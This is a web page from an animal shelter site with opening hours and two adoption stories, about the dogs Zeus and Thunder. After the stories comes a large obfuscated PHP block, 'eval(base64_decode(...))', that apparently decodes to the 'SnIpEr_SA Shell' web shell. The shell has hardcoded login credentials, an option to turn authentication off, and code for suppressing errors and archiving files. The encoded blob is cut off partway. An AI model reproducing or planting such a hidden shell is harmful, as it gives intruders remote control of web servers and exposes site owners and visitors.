






Follow us on Facebook:

Hours of Operation
| Monday |
- 10am - 5pm |
| Tuesday |
- 10am - 5pm |
| Wednesday |
- Closed |
| Thursday |
- 10am - 5pm |
| Friday |
- 10am - 5pm |
| Saturday |
- 10am - 5pm |
| Sunday |
- 12pm - 5pm |
| |
|
|
Adoption Stories
Zeus
This little pup just caught my eye on May 1, 2009. Zeus was almost five months old at the time, and he weighed over 45 pounds with very large paws and ears. He just sat in the kennel and looked at me while turning his head back and forth. No barking, just curious, innocent fun play with his toy. I knew he was the one for me!
Today, Zeus celebrated his 1st birthday. And he weighed in around 90 pounds. Everyone that sees him is awe struck with beauty. Their first comment is, "Is that a wolf?" I laugh and say, "nope, just a sweet puppy!"
I am so happy to have him in my life. Zeus comes to work with me at Camp Bow Wow Doggy Daycare everyday where he plays with his best friends. I couldn't be more happy with Zeus.
Thank you so much!
Submitted by: Charlotte Blake, Tennessee
|
Thunder
Three years ago, we fell in love with Thunder's picture on your website. It didn't take us long to book our flight to Nashville from Austin, Texas, to fly out and adopt him. We drove him cross-county to his forever home the next day, and we're thrilled every day that we did!
He's doing great! He has two brothers and two sisters that he just adores, and I can't remember what our home was like before he got here. He loves to play fetch, walk with other dogs in our neighborhood, and stretch out on his back for belly rubs.
Thank you so much for connecting us to him. I thought you might like to know how well he is doing!
Submitted by: Summer Huggins, Austin, Texas
|
|
eval(base64_decode('IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgICAgICAgICAgICAgICAgICAgICAgICBzbmlwZXJfc2EgICAgICAgICAgICAgICAgICAgICAgICAjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KJHRhY2ZnZFsndW5hbWUnXSA9ICdjcmF6eSc7DQokdGFjZmdkWydwd29yZCddID0gJ2NyYXp5JzsNCiR0YWNmZ2RbJ3RpdGxlJ10gPSAnU25JcEVyX1NBIFNoZWxsJzsNCiR0YWNmZ2RbJ2hlbHB0ZXh0J10gPSAnVG8gcHJvY2VlZCwgcGxlYXNlIGxvZyBpbiB1c2luZyB0aGUgZm9ybSBiZWxvdyc7DQokdGFjZmdkWydhbGxvd3JtJ10gPSB0cnVlOw0KJHRhY2ZnZFsncm1ncm91cCddID0gJ2RlZmF1bHQnOw0KJHRhY2ZnZFsnb3duc2Vzc2lvbnMnXSA9IGZhbHNlOw0KZm9yZWFjaCAoJHRhY2ZnZCBhcyAka2V5ID0+ICR2YWwpIHsNCiAgaWYgKCFpc3NldCgkdGFjZmdbJGtleV0pKSAkdGFjZmdbJGtleV0gPSAkdmFsOw0KfQ0KDQppZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KICBzZXNzaW9uX25hbWUoJ3R4dGF1dGgnKTsNCiAgc2Vzc2lvbl9zdGFydCgpOw0KfQ0KDQovLyBMb2dvdXQgYXR0ZW1wdCBtYWRlLiBEZWxldGVzIGFueSByZW1lbWJlci1tZSBjb29raWUgYXMgd2VsbA0KaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkgfHwgaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkpIHsNCiAgc2V0Y29va2llKCd0eHRhdXRoXycuJHJtZ3JvdXAsICcnLCB0aW1lKCktODY0MDAqMTQpOw0KICBpZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KICAgICRfU0VTU0lPTiA9IGFycmF5KCk7DQogICAgc2Vzc2lvbl9kZXN0cm95KCk7DQogIH0NCiAgZWxzZSAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gZmFsc2U7DQp9DQovLyBMb2dpbiBhdHRlbXB0IG1hZGUNCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydsb2dpbiddKSkgew0KICBpZiAoJF9QT1NUWyd1bmFtZSddID09ICR0YWNmZ1sndW5hbWUnXSAmJiAkX1BPU1RbJ3B3b3JkJ10gPT0gJHRhY2ZnWydwd29yZCddKSB7DQogICAgJF9TRVNTSU9OWyd0eHRhdXRoaW4nXSA9IHRydWU7DQogICAgaWYgKCRfUE9TVFsncm0nXSkgew0KICAgICAgLy8gU2V0IHJlbWVtYmVyLW1lIGNvb2tpZSBmb3IgMiB3ZWVrcw0KICAgICAgc2V0Y29va2llKCd0eHRhdXRoXycuJHJtZ3JvdXAsIG1kNSgkdGFjZmdbJ3VuYW1lJ10uJHRhY2ZnWydwd29yZCddKSwgdGltZSgpKzg2NDAwKjE0KTsNCiAgICB9DQogIH0NCiAgZWxzZSAkZXJyID0gJ87Yx8Eg3e0gx9PjIMfh49PKzs/jIMfmIN/h4+Ugx+Hj0ebRJzsNCn0NCi8vIFJlbWVtYmVyLW1lIGNvb2tpZSBleGlzdHMNCmVsc2VpZiAoaXNzZXQoJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0pKSB7DQogIGlmIChtZDUoJHRhY2ZnWyd1bmFtZSddLiR0YWNmZ1sncHdvcmQnXSkgPT0gJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0gJiYgJHRhY2ZnWydhbGxvd3JtJ10pIHsNCiAgICAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gdHJ1ZTsNCiAgfQ0KICBlbHNlICRlcnIgPSAn08zhIM/O5uEg49HlIMfO0ewnOw0KfQ0KaWYgKCEkX1NFU1NJT05bJ3R4dGF1dGhpbiddKSB7DQo/Pg0KPGh0bWw+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTYiPg0KPGhlYWQ+DQo8dGl0bGU+PD89JHRhY2ZnWyd0aXRsZSddPz48L3RpdGxlPg0KPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICNmZmZmZmY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCnRkIHsNCkJPUkRFUi1SSUdIVDogICMwMDAwMDAgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMwMDAwMDAgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMwMDAwMDAgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMwMDAwMDAgMSBzb2xpZDsNCmNvbG9yOiAjY2NjY2NjOw0KfQ0KLmdyZXkgew0KQk9SREVSOiAxOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KaW5wdXQgew0KQk9SREVSLVJJR0hUOiAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzk5MDAwMCAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCi50eHRib3ggew0KQk9SREVSLVJJR0hUOiAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzk5MDAwMCAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogIzk5MDAwMDsNCn0NCkJPRFkgew0KY29sb3I6ICNjY2NjY2M7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KDQo8L1NUWUxFPg0KPC9oZWFkPg0KDQo8Ym9keT4NCjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMTRwdDsiIGFsaWduPSJjZW50ZXIiPjw/PSR0YWNmZ1sndGl0bGUnXT8+PC9kaXY+DQo8aHIgd2lkdGg9IjMwMCIgc2l6ZT0iMSIgbm9zaGFkZSBjb2xvcj0iI2NkY2RjZCI+DQo8cD4NCjwvZGl2Pg0KPHA+DQo8Pw0KaWYgKGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkgJGFjdGlvbiA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KZWxzZSAkYWN0aW9uID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJz8nLiRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCmlmIChzdHJwb3MoJGFjdGlvbiwgJ2xvZ291dD0xJywgc3RycG9zKCRhY3Rpb24sICc/JykpICE9PSBmYWxzZSkgJGFjdGlvbiA9IHN0cl9yZXBsYWNlKCdsb2dvdXQ9MScsICcnLCAkYWN0aW9uKTsNCj8+DQo8Zm9ybSBuYW1lPSJ0eHRhdXRoIiBhY3Rpb249Ijw/PSRhY3Rpb24/PiIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSI0IiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iIzMzMzMzMyIgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJvcmRlcjogI2RlZGVkZSAxcHggZG91YmxlOyI+DQo8Pz0oaXNzZXQoJGVycikpPyc8dHI+PHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJyZWQiPicuJGVyci4nPC9mb250PjwvdGQ+PC90cj4nOicnPz4NCjw/aWYgKGlzc2V0KCR0YWNmZ1sndW5hbWUnXSkpIHs/Pg0KPHRyPjx0ZD7D0+Mgx+Hj08rOz+M6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVuYW1lIiB2YWx1ZT0iIiBzaXplPSIyMCIgbWF4bGVuZ3RoPSIxMDAiIGNsYXNzPSJ0eHRib3giPjwvdGQ+PC90cj4NCjw/fT8+DQo8dHI+PHRkPt/h4+Ugx+HT0To8L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InB3b3JkIiB2YWx1ZT0iIiBzaXplPSIyMCIgbWF4bGVuZ3RoPSIxMDAiIGNsYXNzPSJ0eHRib3giPjwvdGQ+PC90cj4NCjw/aWYgKCR0YWNmZ1snYWxsb3dybSddKSB7Pz4NCjx0cj48dGQgYWxpZ249ImxlZnQiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImxvZ2luIiB2YWx1ZT0iIM/O5uEiPg0KPC90ZD48dGQgYWxpZ249InJpZ2h0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJtIiBpZD0icm0iPjxsYWJlbCBmb3I9InJtIj7H4c/O5uEgx+HK4d7Hxu08L2xhYmVsPjwvdGQ+PC90cj4NCjw/fSBlbHNlIHs/Pg0KPHRyPjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJsb2dpbiIgdmFsdWU9IiDPzubhICI+PC90ZD48L3RyPg0KPD99Pz4NCjx0cj48dGQ+w9PjIMfh4+be2jo8L3RkPjx0ZD48PyBlY2hvIHdzKDMpLiI8Yj4gIi4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uIjwvYj48YnIvPiI7DQplY2hvICI8L2I+PC9mb250PiI7DQoNCj8+PC90ZD48L3RyPg0KPHRyPjx0ZD7D7SDI7SDH4dPt0d3ROjwvdGQ+PHRkPjw/IGVjaG8gd3MoMykuIjxiPiAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9iPjxici8+IjsNCmVjaG8gIjwvYj48L2ZvbnQ+IjsNCg0KPz48L3RkPjwvdHI+DQo8dHI+PHRkPsPtIMjtIMzlx9LfOjwvdGQ+PHRkPjw/IGVjaG8gd3MoMykuIjxiPiAiLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI8L2I+PGJyLz4iOw0KZWNobyAiPC9iPjwvZm9udD4iOw0KDQo/PjwvdGQ+PC90cj4NCg0KPC90YWJsZT4NCjwvZm9ybT4NCg0KPGJyPjxicj48YnI+DQo8aHIgd2lkdGg9IjMwMCIgc2l6ZT0iMSIgbm9zaGFkZSBjb2xvcj0iI2NkY2RjZCI+PGRpdiBjbGFzcz0ic21hbGx0eHQiIGFsaWduPSJjZW50ZXIiPnBvd2VyZWQgYnkgPGEgaHJlZj0iaHR0cDovL3NuaXBlci1zYS5jb20iPlNuSXBFcl9TQTwvYT4gJm1pZGRvdDsgY29weXJpZ2h0ICZjb3B5OyAyMDA3LCBTbklwRXJfU0E8L2Rpdj4NCg0KPC9ib2R5Pg0KPC9odG1sPg0KPD8NCiAgLy8gRG9uJ3QgZGVsZXRlIHRoaXMhDQogIGV4aXQoKTsNCn0NCj8+DQrD0+Mgx+Hj08rOz+M6ICg8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PD8gZWNobyAkdGFjZmdkWyd1bmFtZSddOyA/PjwvZm9udD4pIDxhIGhyZWY9Ij9sb2dvdXQ9MSI+ytPM7eEgx+HO0ebMPC9hPjwvcD4NCjxkaXYgYWxpZ249InJpZ2h0Ij4NCjw/cGhwDQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KLyp+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+Ki8NCi8qICAoYylvZGVkIGJ5IFNuSXBFcl9TQQ0KLyogIE1BSUwgaHR0cDovL3NuaXBlci1zYS5jb20gLCBodHRwOi8vc25pcGVyLXNhLmNvbQ0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8NCi8qIH5+fiDH4c7tx9HHyiB8IE9wdGlvbnMgIH5+fiAqLw0KLy8gx+Hh28kgfCBMYW5ndWFnZQ0KLy8gJGxhbmd1YWdlPSdlbmcnIC0gZW5nbGlzaCAoZW5nbGlzaCkNCi8vICRsYW5ndWFnZT0nYXInIC0gYXJhYmkgKGFyYWJpKQ0KJGxhbmd1YWdlPSdhcic7DQovLyA/Pz8/Pz8/Pz8/Pz8/PyB8IEF1dGhlbnRpZmljYXRpb24NCi8vICRhdXRoID0gMTsgLSDhyt3a7eEgx+HPzubhIMjf4ePlIMfh49Hm0SAgKCBhdXRoZW50aWZpY2F0aW9uID0gT24gICkNCi8vICRhdXRoID0gMDsgLSDhx+3ex90gx+HPzubhIMjf4ePJIMfh49Hm0SAoIGF1dGhlbnRpZmljYXRpb24gPSBPZmYgKQ0KJGF1dGggPSAwOw0KLy8g4c/O5uEgyN/h48kg49Hm0SDmx9PjIOPTys7P4yAoTG9naW4gJiBQYXNzd29yZCBmb3IgYWNjZXNzKQ0KLy8g4c3jx+3JIMfh09/RyMog4+Qgz87m4SDb7dHfINvt0SDH4crH4e0hISEgKENIQU5HRSBUSElTISEhKQ0KLy8g5eTHIObW2t8g3+Hj5SDH4ePR5tEg5uXtIOPU3dHlIMjV7dvlIG1kNSwg5t/h48naIMfh49Hm0SDl5Mcg5e0gICdzbmlwZXInDQovLyDK08ra2O3aIMfkIMrU3dEg3+HjySDj0ebR3yDmx9PjIMfh49PKzs/jIMjV7dvJIG1kNSDm5tba5ccg3e0gx+HOx+THyiDH4crH4e3lDQokbmFtZT0nMWMyNzY4MDEzM2I3ODFjYWRkMDM3ZThhNmRjYzAwMWInOyAvLyDH0+Mgx+Hj08rOz+MgICh1c2VyIGxvZ2luKQ0KJHBhc3M9JzFjMjc2ODAxMzNiNzgxY2FkZDAzN2U4YTZkY2MwMDFiJzsgLy8g3+HjySDH4ePR5tEgKHVzZXIgcGFzc3dvcmQpDQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KDQplY2hvICIiLmh0bWxzcGVjaWFsY2hhcnMoJGNvcHkpLiIiOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0Kc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7DQpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7DQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KJHZlcnNpb24gPSAnMS4zMSc7DQppZih2ZXJzaW9uX2NvbXBhcmUocGhwdmVyc2lvbigpLCAnNC4xLjAnKSA9PSAtMSkNCiB7DQogJF9QT1NUICAgPSAmJEhUVFBfUE9TVF9WQVJTOw0KICRfR0VUICAgID0gJiRIVFRQX0dFVF9WQVJTOw0KICRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJTOw0KICRfQ09PS0lFID0gJiRIVFRQX0NPT0tJRV9WQVJTOw0KIH0NCmlmIChAZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkNCiB7DQogZm9yZWFjaCAoJF9QT1NUIGFzICRrPT4kdikNCiAgew0KICAkX1BPU1RbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsNCiAgfQ0KIGZvcmVhY2ggKCRfQ09PS0lFIGFzICRrPT4kdikNCiAgew0KICAkX0NPT0tJRVska10gPSBzdHJpcHNsYXNoZXMoJHYpOw0KICB9DQogfQ0KDQppZigkYXV0aCA9PSAxKSB7DQppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuYW1lIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcGFzcykNCiAgIHsNCiAgIGhlYWRlcignV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09IlNuSXBFcl9TQSBzaGVsbCInKTsNCiAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOw0KICAgZXhpdCgiPGI+PGEgaHJlZj1odHRwOi8vc25pcGVyLXNhLmNvbT5TbklwRXJfU0E8L2E+IDogQWNjZXNzIERlbmllZDwvYj4iKTsNCiAgIH0NCn0NCiRoZWFkID0gJzwhLS0gU25JcEVyX1NBIC0tPg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImFyLXNhIj4NCjxtZXRhIG5hbWU9IkdFTkVSQVRPUiIgY29udGVudD0iTWljcm9zb2Z0IEZyb250UGFnZSA2LjAiPg0KPG1ldGEgbmFtZT0iUHJvZ0lkIiBjb250ZW50PSJGcm9udFBhZ2UuRWRpdG9yLkRvY3VtZW50Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1NiI+DQo8dGl0bGU+U25JcEVyX1NBIHNoZWxsPC90aXRsZT4NCg0KDQoNCjxTVFlMRT4NCg0KQk9EWQ0KIHsNCiAgICAgICAgU0NST0xMQkFSLUZBQ0UtQ09MT1I6ICMwMDAwMDA7IFNDUk9MTEJBUi1ISUdITElHSFQtQ09MT1I6ICMwMDAwMDA7IFNDUk9MTEJBUi1TSEFET1ctQ09MT1I6ICMwMDAwMDA7IENPTE9SOiAjZmZmZmZmOyBTQ1JPTExCQVItM0RMSUdIVC1DT0xPUjogIzcyNjQ1NjsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItVFJBQ0stQ09MT1I6ICMyOTI5Mjk7IEZPTlQtRkFNSUxZOiBWZXJkYW5hOyBTQ1JPTExCQVItREFSS1NIQURPVy1DT0xPUjogIzcyNjQ1Ng0KfQ0KDQp0ciB7DQpCT1JERVItUklHSFQ6ICAjY2NjY2NjIDsNCkJPUkRFUi1UT1A6ICAgICNjY2NjY2MgOw0KQk9SREVSLUxFRlQ6ICAgI2NjY2NjYyA7DQpCT1JERVItQk9UVE9NOiAjY2NjY2NjIDsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgI2NjY2NjYyA7DQpCT1JERVItVE9QOiAgICAjY2NjY2NjIDsNCkJPUkRFUi1MRUZUOiAgICNjY2NjY2MgOw0KQk9SREVSLUJPVFRPTTogI2NjY2NjYyA7DQpjb2xvcjogI2NjY2NjYzsNCn0NCi50YWJsZTEgew0KQk9SREVSOiAxOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KLnRkMSB7DQpCT1JERVI6IDE7DQpmb250OiA3cHQgdGFob21hOw0KY29sb3I6ICNmZmZmZmY7DQp9DQoudHIxIHsNCkJPUkRFUjogMTsNCmNvbG9yOiAjY2NjY2NjOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjY2NjY2NjOw0KfQ0KaW5wdXQgew0KQk9SREVSLVJJR0hUOiAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzk5MDAwMCAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCnNlbGVjdCB7DQpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAjOTk5OTk5IDEgc29saWQ7DQpCT1JERVItTEVGVDogICAjOTk5OTk5IDEgc29saWQ7DQpCT1JERVItQk9UVE9NOiAjZmZmZmZmIDEgc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KZm9udDogOXB0IHRhaG9tYTsNCmNvbG9yOiAjQ0NDQ0NDOzsNCn0NCnN1Ym1pdCB7DQpCT1JERVI6ICBidXR0b25oaWdobGlnaHQgMSBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMjcyNzI3Ow0Kd2lkdGg6IDQwJTsNCmNvbG9yOiAjY2NjY2NjOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCkJPRFkgew0KbWFyZ2luOiAxOw0KY29sb3I6ICNjY2NjY2M7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KQTpsaW5rIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6dmlzaXRlZCB7IENPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTphY3RpdmUge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9DQoNCjwvU1RZTEU+DQo8c2NyaXB0IGxhbmd1YWdlPVwnamF2YXNjcmlwdFwnPg0KZnVuY3Rpb24gaGlkZV9kaXYoaWQpDQp7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0wO1wnOw0KfQ0KZnVuY3Rpb24gc2hvd19kaXYoaWQpDQp7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdibG9ja1wnOw0KICBkb2N1bWVudC5jb29raWU9aWQrXCc9MTtcJzsNCn0NCmZ1bmN0aW9uIGNoYW5nZV9kaXZzdChpZCkNCnsNCiAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID09IFwnbm9uZVwnKQ0KICAgIHNob3dfZGl2KGlkKTsNCiAgZWxzZQ0KICAgIGhpZGVfZGl2KGlkKTsNCn0NCjwvc2NyaXB0Pic7DQpjbGFzcyB6aXBmaWxlDQp7DQogICAgdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOw0KICAgIHZhciAkY3RybF9kaXIgICAgID0gYXJyYXkoKTsNCiAgICB2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7DQogICAgdmFyICRvbGRfb2Zmc2V0ICAgPSAwOw0KICAgIGZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7DQogICAgICAgICR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOw0KICAgICAgICBpZiAoJHRpbWVhcnJheVsneWVhciddIDwgMTk4MCkgew0KICAgICAgICAgICAgJHRpbWVhcnJheVsneWVhciddICAgID0gMTk4MDsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7DQogICAgICAgICAgICAkdGltZWFycmF5WydtZGF5J10gICAgPSAxOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnaG91cnMnXSAgID0gMDsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7DQogICAgICAgICAgICAkdGltZWFycmF5WydzZWNvbmRzJ10gPSAwOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVsnbWRheSddIDw8IDE2KSB8DQogICAgICAgICAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGFkZEZpbGUoJGRhdGEsICRuYW1lLCAkdGltZSA9IDApDQogICAgew0KICAgICAgICAkbmFtZSAgICAgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsNCiAgICAgICAgJGR0aW1lICAgID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCiAgICAgICAgJGhleGR0aW1lID0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMl0gLiAkZHRpbWVbM10NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsNCiAgICAgICAgZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsNCiAgICAgICAgJGZyICAgPSAiXHg1MFx4NGJceDAzXHgwNCI7DQogICAgICAgICRmciAgIC49ICJceDE0XHgwMCI7DQogICAgICAgICRmciAgIC49ICJceDAwXHgwMCI7DQogICAgICAgICRmciAgIC49ICJceDA4XHgwMCI7DQogICAgICAgICRmciAgIC49ICRoZXhkdGltZTsNCiAgICAgICAgJHVuY19sZW4gPSBzdHJsZW4oJGRhdGEpOw0KICAgICAgICAkY3JjICAgICA9IGNyYzMyKCRkYXRhKTsNCiAgICAgICAgJHpkYXRhICAgPSBnemNvbXByZXNzKCRkYXRhKTsNCiAgICAgICAgJ